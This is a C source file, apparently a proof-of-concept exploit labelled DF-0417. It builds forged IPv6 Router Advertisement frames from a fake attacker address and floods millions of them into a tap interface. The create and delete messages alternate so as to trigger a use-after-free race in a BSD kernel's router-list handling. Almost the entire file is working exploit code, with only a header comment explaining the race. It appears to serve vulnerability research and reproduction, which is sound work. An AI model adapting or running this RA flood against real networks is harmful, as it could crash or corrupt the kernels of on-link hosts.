DF-0417 / ra_tap.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 | /* DF-0417 PoC (tap variant): inject RAs into a tap interface to exercise the * defrtrlist_update() UAF race from a simulated on-link attacker position. * * Writing a full Ethernet+IPv6+ICMPv6-RA frame to /dev/tapN injects it into * tapN's if_input, so nd6_ra_input() processes it exactly as if it arrived * from the wire. (BPF BIOCSFEEDBACK loopback is broken on this guest: * bpf_movein() strips the Ethernet header from the mbuf, and the feedback * path dups that header-stripped mbuf into if_input, mis-framing it.) * * Setup (as root): create tap0, bring it up, accept RAs on it: * ifconfig tap0 create up * <run ndflagset tap0> (sets ND6_IFF_ACCEPT_RTADV) * rtsold-style: tap0 needs an IPv6 link-local; auto-linklocal handles it * * Usage: ./ra_tap [-d tapdev] [-n count] [-p prefixes] [-s secs] * Alternates CREATE (lifetime 1800 + N prefix options) and DELETE * (lifetime 0) RAs for the same router, flooding to widen the race window * between defrtrlist_update() returning (lock released) and prelist_update() * re-locking. A concurrent DELETE (or nd6_timer expiry) that lands in that * window frees the router while the CREATE is still mid-prefix-loop. */ #include <sys/param.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/ethernet.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <time.h> #define ALL_NODES "ff02::1" #define ATTK_LLA "fe80::dead:beef:cafe" static const unsigned char ether_allnodes[6] = { 0x33, 0x33, 0x00, 0x00, 0x00, 0x01 }; static const unsigned char ether_attacker[6] = { 0x52, 0x54, 0x00, 0xde, 0xad, 0xbe }; static u_int16_t icmp6_cksum(const struct in6_addr *src, const struct in6_addr *dst, const u_int8_t *payload, int len) { u_int32_t sum = 0; int i; for (i = 0; i < 8; i++) { sum += ntohs(src->s6_addr16[i]); sum += ntohs(dst->s6_addr16[i]); } sum += len; sum += IPPROTO_ICMPV6; for (i = 0; i < (len & ~1); i += 2) sum += (payload[i] << 8) | payload[i+1]; if (len & 1) sum += payload[len-1] << 8; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (u_int16_t)(~sum & 0xffff); } static int build_ra(u_int8_t *buf, int create, int npfx, const struct in6_addr *src6, const struct in6_addr *dst6) { int off = 0; memcpy(buf + off, ether_allnodes, 6); off += 6; memcpy(buf + off, ether_attacker, 6); off += 6; buf[off++] = 0x86; buf[off++] = 0xdd; struct ip6_hdr *ip6 = (struct ip6_hdr *)(buf + off); ip6->ip6_flow = htonl(6 << 28); int icmp_off = off + sizeof(struct ip6_hdr); int ra_len = sizeof(struct nd_router_advert) + npfx * (int)sizeof(struct nd_opt_prefix_info) + 8; ip6->ip6_plen = htons(ra_len); ip6->ip6_nxt = IPPROTO_ICMPV6; ip6->ip6_hlim = 255; ip6->ip6_src = *src6; ip6->ip6_dst = *dst6; off = icmp_off; struct nd_router_advert *ra = (struct nd_router_advert *)(buf + off); ra->nd_ra_type = ND_ROUTER_ADVERT; ra->nd_ra_code = 0; ra->nd_ra_cksum = 0; ra->nd_ra_curhoplimit = 64; ra->nd_ra_flags_reserved = 0; ra->nd_ra_router_lifetime = create ? htons(1800) : htons(0); ra->nd_ra_reachable = 0; ra->nd_ra_retransmit = 0; off += sizeof(struct nd_router_advert); int p; for (p = 0; p < npfx; p++) { struct nd_opt_prefix_info *pi = (struct nd_opt_prefix_info *)(buf + off); pi->nd_opt_pi_type = ND_OPT_PREFIX_INFORMATION; pi->nd_opt_pi_len = 4; pi->nd_opt_pi_prefix_len = 64; pi->nd_opt_pi_flags_reserved = ND_OPT_PI_FLAG_ONLINK | ND_OPT_PI_FLAG_AUTO; pi->nd_opt_pi_valid_time = htonl(3600); pi->nd_opt_pi_preferred_time = htonl(1800); pi->nd_opt_pi_reserved2 = 0; memset(&pi->nd_opt_pi_prefix, 0, sizeof(pi->nd_opt_pi_prefix)); pi->nd_opt_pi_prefix.s6_addr16[0] = htons(0x2001); pi->nd_opt_pi_prefix.s6_addr16[1] = htons(0x0db8); pi->nd_opt_pi_prefix.s6_addr[15] = (u_int8_t)(p + 1); off += sizeof(struct nd_opt_prefix_info); } struct nd_opt_hdr *sll = (struct nd_opt_hdr *)(buf + off); sll->nd_opt_type = ND_OPT_SOURCE_LINKADDR; sll->nd_opt_len = 1; memcpy(buf + off + 2, ether_attacker, 6); off += 8; int plen = off - icmp_off; ra->nd_ra_cksum = htons(icmp6_cksum(src6, dst6, (u_int8_t *)ra, plen)); return off; } int main(int argc, char **argv) { const char *dev = "/dev/tap0"; long count = 2000000; int npfx = 16; int secs = 90; int opt; while ((opt = getopt(argc, argv, "d:n:p:s:")) != -1) { switch (opt) { case 'd': dev = optarg; break; case 'n': count = atol(optarg); break; case 'p': npfx = atoi(optarg); break; case 's': secs = atoi(optarg); break; default: fprintf(stderr, "usage: %s [-d tapdev] [-n n] [-p pfx] [-s sec]\n", argv[0]); return 2; } } struct in6_addr src6, dst6; if (inet_pton(AF_INET6, ATTK_LLA, &src6) != 1 || inet_pton(AF_INET6, ALL_NODES, &dst6) != 1) { fprintf(stderr, "inet_pton failed\n"); return 2; } int fd = open(dev, O_RDWR); if (fd < 0) { perror(dev); return 2; } int frame = 14 + 40 + sizeof(struct nd_router_advert) + npfx * (int)sizeof(struct nd_opt_prefix_info) + 8; u_int8_t *create = malloc(frame + 4); u_int8_t *dele = malloc(frame + 4); if (!create || !dele) { perror("malloc"); return 2; } int clen = build_ra(create, 1, npfx, &src6, &dst6); int dlen = build_ra(dele, 0, npfx, &src6, &dst6); fprintf(stderr, "DF-0417 ra_tap: dev=%s frame=%dB prefixes/RA=%d count=%ld cap=%ds\n", dev, frame, npfx, count, secs); fprintf(stderr, " attacker LLA=%s -> %s ; CREATE lifetime=1800s DELETE=0s\n", ATTK_LLA, ALL_NODES); time_t t0 = time(NULL); long i, sent = 0, errs = 0; for (i = 0; i < count; i++) { u_int8_t *f = (i & 1) ? dele : create; int fl = (i & 1) ? dlen : clen; ssize_t w = write(fd, f, fl); if (w < 0) { errs++; if (errs < 5) perror("write tap"); } else sent++; if ((i & 0x3fff) == 0 && (time(NULL) - t0) >= secs) { fprintf(stderr, " time cap at %ld frames\n", i); break; } } fprintf(stderr, " done: sent=%ld errs=%ld elapsed=%lds\n", sent, errs, (long)(time(NULL) - t0)); return 0; } |